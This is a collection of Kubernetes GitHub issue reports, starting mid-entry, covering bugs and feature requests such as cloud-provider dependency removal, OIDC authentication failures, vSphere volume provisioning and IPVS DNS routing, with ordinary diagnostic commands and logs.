bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.7-gke.2\ , gitcommit:\ 8d9503f982872112eb283f78cefc6944af640427\ , gittreestate:\ clean\ , builddate:\ 2018-09-13t22:19:55z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r gke, version 1.10.7-gke.2  this happened on 1.10.6-  also , cos\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : ?\r - install tools: ?\r - others: ?\r \r   

is this a bug report or feature request?  :\r  \r as part of a long running initiative to remove cloud providers out of kubernetes/kubernetes, it's required to remove internal dependencies to k8s.io/kubernetes so we can migrate them into a staging directory  see  kep-removing-in-tree-providers  https://github.com/kubernetes/enhancements/blob/master/keps/sig-cloud-provider/20190125-removing-in-tree-providers.md  . the following dependencies need to be removed from  k8s.io/kubernetes/pkg/cloudprovider/providers :\r \r dependency checklist:\r -  x   pkg/api/legacyscheme   @andrewsykim \r -  x   pkg/api/service   @andrewsykim \r -  x   pkg/api/v1/pod   @andrewsykim \r -  x   pkg/api/v1/service   @andrewsykim \r -  x   pkg/apis/apps   @andrewsykim \r -  x   pkg/apis/autoscaling   @andrewsykim \r -  x   pkg/apis/core   @islinwb, @dims \r -  x   pkg/apis/core/helper   @islinwb, @dims \r -  x   pkg/apis/core/install   @andrewsykim \r -  x   pkg/apis/core/pods   @andrewsykim \r -  x   pkg/apis/core/v1   @islinwb, @dims \r -  x   pkg/apis/core/v1/helper   @islinwb, @andrewsykim \r -  x   pkg/apis/core/validation   @andrewsykim \r -  x   pkg/apis/scheduling   @andrewsykim \r -  x   pkg/capabilities   @andrewsykim \r -  x   pkg/controller   @stewart-yu \r -  x   pkg/credentialprovider   @tiffanyfay \r -  x   pkg/credentialprovider/aws   @tiffanyfay \r -  x   pkg/cloudprovider   @cheftako  \r -  x   pkg/features   @andrewsykim \r -  x   pkg/fieldpath   @andrewsykim \r -  x   pkg/kubelet/apis   @islinwb , @dims \r -  x   pkg/version   @andrewsykim  \r -  x   pkg/kubelet/types  @andrewsykim \r -  x   pkg/master/ports   @andrewsykim \r -  x   pkg/security/apparmor  @andrewsykim \r -  x   pkg/serviceaccount   @andrewsykim \r -  x   pkg/util/keymutex   @dims \r -  x   pkg/util/hash   @andrewsykim \r -  x   pkg/util/file   @mcrute  \r -  x   pkg/util/net/sets   @mcrute, @ashishranjan738 \r -  x   pkg/util/strings   @dims \r -  x   pkg/util/taints   @stewart-yu \r -  x   pkg/volume   @islinwb, @andrewsykim \r -  x   pkg/volume/util   @islinwb, @andrewsykim \r -  x   pkg/volume/util/fs   @andrewsykim \r -  x   pkg/volume/util/recyclerclient   @andrewsykim \r -  x   pkg/volume/util/types   @andrewsykim \r -  x   pkg/volume/util/volumepathhandler   @andrewsykim \r \r 

is this a bug report or feature request?  :\r \r   \r i was looking through the the  deployment example  https://github.com/kubernetes/client-go/blob/master/examples/create-update-delete-deployment/main.go l29  as i'd like to generate json templates that i can pipe into  kubectl apply . might look at building additional functionality in the future but for now generating json templates is as far as i want to go for the mvp.\r \r there's a few issues i've encountered;\r \r 1. meta is imported from another repo which feels weird.\r 2. the dep on apimachinery transitively imports glog.\r 3. i'm not sure where i'd start with a pr if people agree with the change outlined.\r \r the intended pr would be moving the meta struct from apimachinery to  api/meta  or similar. so instead of this import list;\r    \r \tappsv1 \ k8s.io/api/apps/v1\ \r \tapiv1 \ k8s.io/api/core/v1\ \r \tmetav1 \ k8s.io/apimachinery/pkg/apis/meta/v1\ \r    \r \r it would look like this;\r    \r \tappsv1 \ k8s.io/api/apps/v1\ \r \tapiv1 \ k8s.io/api/core/v1\ \r \tmetav1 \ k8s.io/api/meta/v1\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - others:\r go version go1.11.1 darwin/amd64

what happened  :\r it seems that by default, all references to images point towards  gcr.io  for things like  pause  containers.  in addition, it seems that the official docker images are released there as well.\r \r   what you expected to happen  :\r ideally, using a non-vendor specific name.  perhaps, something like  k8s.cncf.io  or a similar foundation-level path which brings kubernetes towards decreasing vendor-specific references  it could just be a cname that continues to host at gcr, don't break what's not fixed! \r \r   how to reproduce it  as minimally and precisely as possible   :\r pretty straightforward. : \r \r   anything else we need to know?  :\r na\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

1  i am not able to connect my sqlserver database from the pods. i tried doing a telnet to 192. . .   1433 and it connected.\r logs: a network-related or instance-specific error occurred while establishing a connection to sql server. the server was not found or was not accessible. verify that the instance name is correct and that sql server is configured to allow remote connections\r 2 my application uses some other api's which are hosted on my company's intranet and communicate on port 8199 but i couldn't get data from them either. i tried setting the ip of the api in /etc/resolv.conf, after that i was able to ping but pods couldn't establish the connection to the apis.

what would you like to be added  :\r add support for csi ephemeral volumes to use pod security policy to restrict drivers.\r \r   why is this needed  :\r the  kep for inline csi ephemeral  https://github.com/kubernetes/enhancements/blob/master/keps/sig-storage/20190122-csi-inline-volumes.md specifying-allowed-inline-drivers-with-podsecuritypolicy   support mentions the ability to control volume access using pod security policy.  \r \r 

linux's libc is impossibly stuck   see this bug from 2005  https://bugzilla.redhat.com/show_bug.cgi?id=168253   with limits of just 3 dns  nameserver  records and 6 dns  search  records.  kubernetes needs to consume 1  nameserver  record and 3  search  records.  this means that if a local installation already uses 3  nameserver s or uses more than 3  search es, some of those settings will be lost.  as a partial workaround, the node can run  dnsmasq  which will provide more  nameserver  entries, but not more  search  entries.

i am not entirely sure why the test suite needs to ssh into node in the first place, but it definitely should not hardcode ssh key path and use keychain instead.  this is an error i'm seeing while running the suite agains my cluster which is being deployed in a non-upstream fashion.      mar  3 17:52:10.747: info: error while ssh-ing to node: error getting signer for provider aws: 'error reading ssh key /root/.ssh/kube_aws_rsa: 'open /root/.ssh/kube_aws_rsa: no such file or directory''  code 0

the logs are full of warning messages such as:      plugins.go:166  can't set sysctl net/bridge/bridge-nf-call-iptables: open /proc/sys/net/bridge/bridge-nf-call-iptables: no such file or directory      the test kubelet should have use mock network plugin that doesn't attempt to run sysctl.  /cc @dcbw

i think @rootfs  mentioned this hasn't been tested thoroughly in e2e tests.\r - we want to know that volume plugins ability to work for basic content is tested in ci, at least for some highly stable things like nfs.\r -  previously used --scale idea for the plan but now moving to using viper to customize data structures, see logging_soak for example

environment: kubernetes in aws  kubernetes version : 1.2.4  current cloud monitoring addons use the data path as \ emptydir{}\  , if we need a historical data . we need the persistent volumes to store such data.  initially i thought of change the file under \ cluster/addons/cluster-monitoring/ \  will solve my issue.  so add the \ persistent volumes\  to the cluster monitoring tool \ influxdb,elasticsearch and grafana.  before running the \ kube-up\  i create the aws elastic volumes and edit the files in \ cluster/addons/fluentd-elasticsearch/es-controller.yml\  instead of emptydir {}          volumes:      - name: es-persistent-storage         awselasticblockstore:            volumeid: vol-65a40dd0            fstype: ext4      but after the cluster setup . my changes not reflected back.  i checked in the elasticsearch minion node as well. the disk is not attached to it,      docker ps | grep elasticsearch  017367caf54e        gcr.io/google_containers/elasticsearch:1.8                             \ /run.sh\                 18 minutes ago      up 18 minutes                           k8s_elasticsearch-logging.4808e25e_elasticsearch-logging-v1-31n48_kube-system_020ce01a-44d6-11e6-bbd3-0a04f1b6d611_5d8d2069 c14625ab4890        gcr.io/google_containers/elasticsearch:1.8                             \ /run.sh\                 19 minutes ago      up 19 minutes                           k8s_elasticsearch-logging.4808e25e_elasticsearch-logging-v1-alk5r_kube-system_020cff5b-44d6-11e6-bbd3-0a04f1b6d611_970fb2a2 4cc350a9f05a        gcr.io/google_containers/fluentd-elasticsearch:1.15                    \ td-agent\                19 minutes ago      up 19 minutes                           k8s_fluentd-elasticsearch.3feec757_fluentd-elasticsearch-ip-172-20-0-88.us-west-2.compute.internal_kube-system_e313182cba6f0619720f91d8860ae1bb_6ca72fd9 6410196df066        gcr.io/google_containers/pause:2.0                                     \ /pause\                  20 minutes ago      up 20 minutes                           k8s_pod.558027c8_elasticsearch-logging-v1-31n48_kube-system_020ce01a-44d6-11e6-bbd3-0a04f1b6d611_4d911697 7e5dd64962e3        gcr.io/google_containers/pause:2.0                                     \ /pause\                  20 minutes ago      up 20 minutes                           k8s_pod.558027c8_elasticsearch-logging-v1-alk5r_kube-system_020cff5b-44d6-11e6-bbd3-0a04f1b6d611_d0c15525 a0bf440f9580        gcr.io/google_containers/pause:2.0                                     \ /pause\                  20 minutes ago      up 20 minutes                           k8s_pod.6059dfa2_fluentd-elasticsearch-ip-172-20-0-88.us-west-2.compute.internal_kube-system_e313182cba6f0619720f91d8860ae1bb_5e153aab          root@ip-172-20-0-88:~  df -h filesystem                           size  used avail use% mounted on /dev/xvda1                            32g  2.3g   28g   8% / udev                                  10m     0   10m   0% /dev tmpfs                                1.5g  8.5m  1.5g   1% /run tmpfs                                3.7g  864k  3.7g   1% /dev/shm tmpfs                                5.0m     0  5.0m   0% /run/lock tmpfs                                3.7g     0  3.7g   0% /sys/fs/cgroup /dev/mapper/vg--ephemeral-ephemeral   30g  2.5g   26g   9% /mnt/ephemeral tmpfs                                3.7g   12k  3.7g   1% /mnt/ephemeral/kubernetes/kubelet/pods/020a34ec-44d6-11e6-bbd3-0a04f1b6d611/volumes/kubernetes.io~secret/default-token-nsxe7 tmpfs                                3.7g   12k  3.7g   1% /mnt/ephemeral/kubernetes/kubelet/pods/020cff5b-44d6-11e6-bbd3-0a04f1b6d611/volumes/kubernetes.io~secret/default-token-nsxe7 tmpfs                                3.7g   12k  3.7g   1% /mnt/ephemeral/kubernetes/kubelet/pods/020ce01a-44d6-11e6-bbd3-0a04f1b6d611/volumes/kubernetes.io~secret/default-token-nsxe7 tmpfs                                3.7g   12k  3.7g   1% /mnt/ephemeral/kubernetes/kubelet/pods/020f4cee-44d6-11e6-bbd3-0a04f1b6d611/volumes/kubernetes.io~secret/default-token-nsxe7 tmpfs                                3.7g   12k  3.7g   1% /mnt/ephemeral/kubernetes/kubelet/pods/020f2688-44d6-11e6-bbd3-0a04f1b6d611/volumes/kubernetes.io~secret/default-token-nsxe7 tmpfs                                3.7g   12k  3.7g   1% /mnt/ephemeral/kubernetes/kubelet/pods/0215295c-44d6-11e6-bbd3-0a04f1b6d611/volumes/kubernetes.io~secret/default-token-nsxe7      after i submit the same in \ google container groups\ .  @vishh suggested . salt is excepted to copy the content from the master.  so i download the kubernetes source version 1.2.4  and compile the source with my changes using \ make release\  . however the build it is not successful after long run.  i building in linux with docker 1.7.  instead what i tried is .   1.untar the kubernetes release version  2.get into the folder \ server\  3.untar the kubernetes-salt.tgz  4.edit my changes and packed again the salt tgz 5.now run the kube-up.sh .  now my elasticvolume get reflected inside the elasticsearch pod       root@localhost cluster   kubectl exec -it elasticsearch-logging-v1-10dzt /bin/bash --namespace=kube-system root@elasticsearch-logging-v1-10dzt:/  df -h filesystem size used avail use% mounted on none 30g 2.0g 26g 7% / tmpfs 3.7g 0 3.7g 0% /dev tmpfs 3.7g 0 3.7g 0% /sys/fs/cgroup /dev/xvdba 51g 52m 48g 1% /data /dev/mapper/vg--ephemeral-ephemeral 30g 2.0g 26g 7% /etc/hosts tmpfs 3.7g 12k 3.7g 1% /run/secrets/kubernetes.io/serviceaccount shm 64m 0 64m 0% /dev/shm       it will good if we have some straightforward mechanism to change the cluster-monitoring configs before the cluster setup.

here is one idea:\r \r when you are running a cluster in your bare metal infrastructure, you cannot expose a service  or anything  using the loadbalancer for obvious reasons.\r \r when you are running a in a cloud provider, it uses the native load balancer  aka elastic load balancer in aws  provisioning and configuring it.\r \r my point is:\r \r why not have an extra flag in the expose command that allows you to specify the image to use as a load balancer in your bare metal cluster? e.g:\r    \r kubectl expose rc my-service --type loadbalancer --image my-custom-ha-proxy\r    \r \r and that will deploy a container with my-custom-ha-proxy and use it on a similar way as it does for the elb in aws.\r \r this came up in a conversation in the slack channel  kubernetes-users and the originator question was... \ how do i know the ip of the caller within the cluster?\  and this solution came up as you would be able to configure the x-forwarded-for header and send it to the destination service.\r \r if this issue sounds like there is a better way of doing it... please reply on a comment and close it!

the  kubectl autoscale  command creates and autoscaler, but new creation commands are being standardized as  kubectl create <resource> <name> .  we should keep the old command, but mirror it either as an alias or new implementation under  kubectl create  so that  kubectl create  is the canonical source for creation commands.

currently the  podpreset  resource is immutable. it cannot be altered  except for things like labels and annotations, like any other k8s resource  once it is created. this was a trade-off we made to:\r \r 1.    avoid thinking through the complexities of updating such an object\r 2.    avoid backing ourselves into backward compatibility expectations we would regret in the future\r \r i think it should be mutable at some point in the future. there are a number of entanglements with basically every controller that creates pods that will need to be figured out:\r \r 1.    what are the user's expectations when they create a replicaset and then create a pod preset that matches that replica set's pod template's labels?\r 2.    same as  1  for replication controller, deployment  the biggest challenge, probably , stateful set, jobs, cron, etc.\r \r i think for the time being, the answer should be, if you want to change a part of a binding, delete that binding, and recreate it in the state you want it to be in. you'll be responsible for ensuring that your controllers recreate pods if they need to. i realize this is not a great experience - which is part of why this resource is alpha right now : \r \r i would expect as a user that when i updated a  podpreset  that pods managed by a  deployment  would be redeployed.  in openshift, we have a notion of deployment triggers that will result in a new deployment occurring.  the linkage between podpresets and deployments is a good candidate to be represented by a deployment.  there are similarities here to the problem of redeploying when a configmap or secret referenced by a deployment changes  see  43112 and https://github.com/kubernetes/kubernetes/pull/31701 \r \r

failure cluster  4d7fae639eafd13ee6e2  https://go.k8s.io/triage 4d7fae639eafd13ee6e2        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:540 expected error:     < errors.errorstring | 0xc420121f10>: {         s: \ yaml: line 23: did not find expected key\ ,     }     yaml: line 23: did not find expected key not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:76           failure cluster statistics: 3 tests failed,    2 jobs failed,    116 builds failed. failure stats cover 1 day time range '7 may 2017 19:59 utc' to '8 may 2017 19:59 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  statefulset  k8s.io  deploy clustered applications  feature:statefulset   slow  should creating a working mysql cluster | 2 | |  k8s.io  statefulset  k8s.io  deploy clustered applications  feature:statefulset   slow  should creating a working redis cluster | 2 | |  k8s.io  statefulset  k8s.io  deploy clustered applications  feature:statefulset   slow  should creating a working zookeeper cluster | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-statefulset | 60 |  8 may 2017 19:26 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-statefulset/5599  | | ci-kubernetes-e2e-gce-statefulset | 56 |  8 may 2017 19:32 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-statefulset/5786  |   current status  https://go.k8s.io/triage 4d7fae639eafd13ee6e2

found in https://github.com/kubernetes/kubernetes/pull/46489\r \r    \r initializer_manager_test.go:110: case number of failures exceeds failurethreshold, but then get another success, expect ready, got: configuration is not ready\r    \r \r i can reproduce locally using golang.org/x/tools/cmd/stress\r \r    \r $ go test -i -o configuration.test k8s.io/kubernetes/pkg/kubeapiserver/admission/configuration\r $ stress ./configuration.test -test.run testconfiguration$\r \r /tmp/go-stress979497321\r --- fail: testconfiguration  0.02s \r \tinitializer_manager_test.go:110: case number of failures exceeds failurethreshold, but then get another success, expect ready, got: configuration is not ready\r fail\r \r \r error: exit status 1\r \r 202 runs so far, 1 failures\r

 \r when using the opensstack cloud provider with cloud routes enabled instances will have their security groups removed when the allowed address pair is added to the instance's port.\r \r reproduce:\r run  kube-apiserver ,  kube-controller-manager , and  kubelet  on openstack. enable provisioning cloud routes in  kube-controller-manager  and configure the cloud config appropriately. the instance should have its security group removed when the allowed address pair is added.\r \r this is due to a bug in gophercloud that has since been patched  see gophercloud/gophercloud 509 .\r \r to be honest i'm not sure how kubernetes handles scenarios like this  workaround in code, update library, document manual workaround, etc , so i reported it just in case. feel free to close this if it's in the wrong place/irrelevant.

pkg/kubelet/kubeletconfig/util/files.replacefile  doesn't call  close    when there is a write or sync error. this could result in a file leak. thanks to @ash2k for recognizing this: https://github.com/kubernetes/kubernetes/pull/52119 discussion_r137916659\r \r fix in https://github.com/kubernetes/kubernetes/pull/52493

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : i ran this command: kubectl logs  nginx-2048752185-jsd2c --since=3m\r \r it produces this error: failed to get parse function: unsupported log format: \ \ \ \r \r   what you expected to happen  : 3 minutes worth of nginx logs to appear\r \r   how to reproduce it  as minimally and precisely as possible   : set your logs format to start with \   in our case this was unintentional \r \r \r   anything else we need to know?  : in a case where k8s cannot determine the proper log format, it should simply dump the log text with no formatting applied\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.4  server and client - also tried 1.8.0 client, same error \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux 4.4.0-1016-aws x86_64\r - install tools: the hard way\r - others:\r

what happened:  \r i can not configure oidc via ldap+dex authentication.\r authentication fails 401 and the following messages write to the kube-api log:\r authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r \r tell me how to solve this error.\r \r   how to reproduce it  as minimally and precisely as possible :  \r added following lines to kube-apiserver.yaml and then copy the file to /etc/kubernetes/manifests\r     - --oidc-issuer-url=https://dex.k8s.dev.mta4.ru:32000/dex\r     - --oidc-client-id=loginapp\r     - --oidc-username-claim=name\r     - --oidc-groups-claim=groups\r     - --oidc-ca-file=/etc/kubernetes/pki/ca.pem\r \r   anything else we need to know?:  \r \r   logs:  \r \r less /var/log/containers/kube-apiserver-k8s-m1_kube-system_kube-apiserver-  or kubectl -n kube-system logs kube-apiserver-k8s-master01\r \r  e1104 17:33:49.261285       1 authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r e1104 17:33:49.286740       1 authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r e1104 17:33:49.289633       1 authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r e1104 17:33:49.291983       1 authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r e1104 17:33:49.294518       1 authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r e1104 17:34:29.652333       1 authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r e1104 17:34:29.656383       1 authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r e1104 17:34:29.659672       1 authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r e1104 17:34:29.662339       1 authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r e1104 17:34:29.665262       1 authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, invalid bearer token  \r \r \r   environment:  \r \r   kubernetes version  use kubectl version :  \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.4\ , gitcommit:\ bf9a868e8ea3d3a8fa53cbb22f566771b3f8068b\ , gittreestate:\ clean\ , builddate:\ 2018-10-25t19:17:06z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.4\ , gitcommit:\ bf9a868e8ea3d3a8fa53cbb22f566771b3f8068b\ , gittreestate:\ clean\ , builddate:\ 2018-10-25t19:06:30z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   cloud provider or hardware configuration:  \r \r   os  e.g. from /etc/os-release :  \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r \r   kernel  e.g. uname -a :  \r linux k8s-master01 4.9.0-8-amd64  1 smp debian 4.9.110-3+deb9u6  2018-10-08  x86_64 gnu/linux\r \r   install tools:  \r kubeadm\r \r   others:  \r  \r <!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r <!-- do not edit below this line -->\r \r /triage support\r \r

what happened  :\r creation of volume on vsphere cloud provider failed with error \ a component of the virtual machine is not accessible on the host\  under these conditions:\r \r assume we have following setup.\r \r    \r dc1\r     cls1 - zone-a\r         vsandatastore-1      spbm policy: spbm-policy-1 \r         host-1  - localds1\r         host-2  - localds2\r         host-3  - localds3\r         resource-pool1\r \r     cls2 – zone-b\r         vsandatastore-2      spbm policy: spbm-policy-2 \r         host-4 - localds4\r         host-5 - localds5 \r         host-6 - localds6\r         resource-pool2\r    \r \r if vsphere.conf has  resourcepool-path=\ cls1/resource-pool1\   then the dummy vm for a spbm policy based volume will be created on this resource pool.\r \r however, if the volume is provisioned using a sc that uses spbm-policy-2 on zone: zone-b, then the volume creation fails with this error - failed to provision volume with storageclass \ xxx\ : a component of the virtual machine is not accessible on the host.\r \r   what you expected to happen  :\r one work around is to correct the entry in vsphere.conf as  resourcepool-path=\ cls2/resource-pool2\   in the above example. this will then allow the volume to be created in this cluster cls2.\r \r however, the next volume creation on the first cluster cls1 will once again face the same issue. changing the configuration in vsphere.conf and restarting the kube services potentially every time a volume needs to be created is a very inferior work around.\r \r the right behaviour is for vsphere cloud provider to either\r 1. provide a way for users to configure both the resource pools, one for each zone, in vsphere.conf\r 2. automatically detect the right 'resource pool' to use when creating a volume.\r \r i would prefer the approach 2.\r \r   how to reproduce it  as minimally and precisely as possible   :\r already described above.\r \r   anything else we need to know?  :\r this issue affects only when spbm policy is used in volume creation.\r \r   environment  :\r - kubernetes version  use  kubectl version  : all\r - cloud provider or hardware configuration: vsphere\r \r  

<!--- provide a general summary of the issue in the title above -->\r kube-proxy  enable ipvs not work correct that  on the host-endpoint to request service cluster ip  \r \r 1. on the master node to dig  kubernetes.default.svc.cluster.local from service cluster ip ,the response ip\r  is pod ip,not the service cluster ip.\r 2. dig kubernetes.default.svc.cluster.local  in  node  is ok.\r 3. if set kube-proxy cluster-cidr 10.1.0.0/16, same dig on master is work, but on node is none \r 4. calico-node enable broadcast service  in node \r  \r \r    expected behavior\r <!--- if you're describing a bug, tell us what should happen -->\r <!--- if you're suggesting a change/improvement, tell us how it should work -->\r dig is running both master and node is ok\r    current behavior\r <!--- if describing a bug, tell us what happens instead of the expected behavior -->\r <!--- if suggesting a change/improvement, explain the difference from current behavior -->\r \r \r    possible solution\r <!--- not obligatory, but suggest a fix/reason for the bug, -->\r <!--- or ideas how to implement the addition or change -->\r \r    steps to reproduce  for bugs \r <!--- provide a link to a live example, or an unambiguous set of steps to -->\r <!--- reproduce this bug. include code to reproduce, if relevant -->\r 1. the ip 10.1.0.2 is the cluster ip with kube-dns service , and has two node 192.168.10.21 and 192.168.10.22 ,running per  dns  pod, master 192.168.10.20\r    \r root@test-k8s-master:~  kubectl get service -n kube-system\r name       type        cluster-ip   external-ip   port s                   age\r kube-dns   clusterip   10.1.0.2     <none>        53/udp,53/tcp,9153/tcp   2d7h\r \r kubectl get pod  -n kube-system -o wide\r name                                       ready   status    restarts   age     ip              node                         nominated node   readiness gates\r coredns-c94ddd668-gg265                    1/1     running   0          2d5h    10.1.23.131     192.168.10.22   <none>           <none>\r coredns-c94ddd668-zj6l5                    1/1     running   0          2d5h    10.1.2.199      k8s-192.168.10.21      <none>           <none>\r    \r 2. under the master 192.168.10.20 ,calico-node not broadcast service , other node enable broadcast service and kube-proxy enable ipvs\r    \r root@test-k8s-master:~  dig kubernetes.default.svc.cluster.local @10.1.0.2\r ;; reply from unexpected source: 10.1.23.131 53, expected 10.1.0.2 53\r    \r under the master 192.168.10.20  tcpdump\r    \r 22:41:40.663728 out cc:c5:e5:da:ef:61 ethertype ipv4  0x0800 , length 109: 192.168.10.20.53636 > 10.1.0.2.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.663738 out cc:c5:e5:da:ef:61 ethertype 802.1q  0x8100 , length 113: vlan 10, p 0, ethertype ipv4, 192.168.10.20.53636 > 10.1.0.2.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.663743 out cc:c5:e5:da:ef:64 ethertype 802.1q  0x8100 , length 113: vlan 10, p 0, ethertype ipv4, 192.168.10.20.53636 > 10.1.0.2.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.664485  in cc:c5:e5:da:f1:bd ethertype 802.1q  0x8100 , length 165: vlan 10, p 0, ethertype ipv4, 10.1.23.131.53 > 192.168.10.20.53636: 57525 - 1/0/1 a 10.1.0.1  117 \r 22:41:40.664485  in cc:c5:e5:da:f1:bd ethertype 802.1q  0x8100 , length 165: vlan 10, p 0, ethertype ipv4, 10.1.23.131.53 > 192.168.10.20.53636: 57525 - 1/0/1 a 10.1.0.1  117 \r 22:41:40.664485  in cc:c5:e5:da:f1:bd ethertype ipv4  0x0800 , length 161: 10.1.23.131.53 > 192.168.10.20.53636: 57525 - 1/0/1 a 10.1.0.1  117 \r    \r 192.168.10.21 tcpdump\r    \r 22:41:40.663607  in cc:c5:e5:da:ef:64 ethertype 802.1q  0x8100 , length 113: vlan 10, p 0, ethertype ipv4, 192.168.10.20.53636 > 10.1.0.2.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.663614  in cc:c5:e5:da:ef:64 ethertype 802.1q  0x8100 , length 113: vlan 10, p 0, ethertype ipv4, 192.168.10.20.53636 > 10.1.0.2.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.663615  in cc:c5:e5:da:ef:64 ethertype ipv4  0x0800 , length 109: 192.168.10.20.53636 > 10.1.0.2.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.663658 out cc:c5:e5:da:ef:c9 ethertype ipv4  0x0800 , length 109: 192.168.10.20.53636 > 10.1.23.131.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.663660 out cc:c5:e5:da:ef:c9 ethertype 802.1q  0x8100 , length 113: vlan 10, p 0, ethertype ipv4, 192.168.10.20.53636 > 10.1.23.131.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.663665 out cc:c5:e5:da:ef:c9 ethertype 802.1q  0x8100 , length 113: vlan 10, p 0, ethertype ipv4, 192.168.10.20.53636 > 10.1.23.131.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r    \r 192.168.10.22 tcpdump\r    \r 22:41:40.663766  in cc:c5:e5:da:ef:c9 ethertype 802.1q  0x8100 , length 113: vlan 10, p 0, ethertype ipv4, 192.168.10.20.53636 > 10.1.23.131.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.663775  in cc:c5:e5:da:ef:c9 ethertype 802.1q  0x8100 , length 113: vlan 10, p 0, ethertype ipv4, 192.168.10.20.53636 > 10.1.23.131.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.663776  in cc:c5:e5:da:ef:c9 ethertype ipv4  0x0800 , length 109: 192.168.10.20.53636 > 10.1.23.131.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.663807 out ee:ee:ee:ee:ee:ee ethertype ipv4  0x0800 , length 109: 192.168.10.20.53636 > 10.1.23.131.53: 57525+  1au  a? kubernetes.default.svc.cluster.local.  65 \r 22:41:40.664306  in 8a:a9:45:ec:f2:2e ethertype ipv4  0x0800 , length 161: 10.1.23.131.53 > 192.168.10.20.53636: 57525 - 1/0/1 a 10.1.0.1  117 \r 22:41:40.664325 out cc:c5:e5:da:f1:bd ethertype ipv4  0x0800 , length 161: 10.1.23.131.53 > 192.168.10.20.53636: 57525 - 1/0/1 a 10.1.0.1  117 \r 22:41:40.664327 out cc:c5:e5:da:f1:bd ethertype 802.1q  0x8100 , length 165: vlan 10, p 0, ethertype ipv4, 10.1.23.131.53 > 192.168.10.20.53636: 57525 - 1/0/1 a 10.1.0.1  117 \r 22:41:40.664331 out cc:c5:e5:da:f1:bd ethertype 802.1q  0x8100 , length 165: vlan 10, p 0, ethertype ipv4, 10.1.23.131.53 > 192.168.10.20.53636: 57525 - 1/0/1 a 10.1.0.1  117 \r    \r 192.168.10.20\r    \r ip route \r default via 192.168.10.1 dev bond0.10 \r 10.0.0.0/8 via 192.168.10.1 dev bond0.10 \r 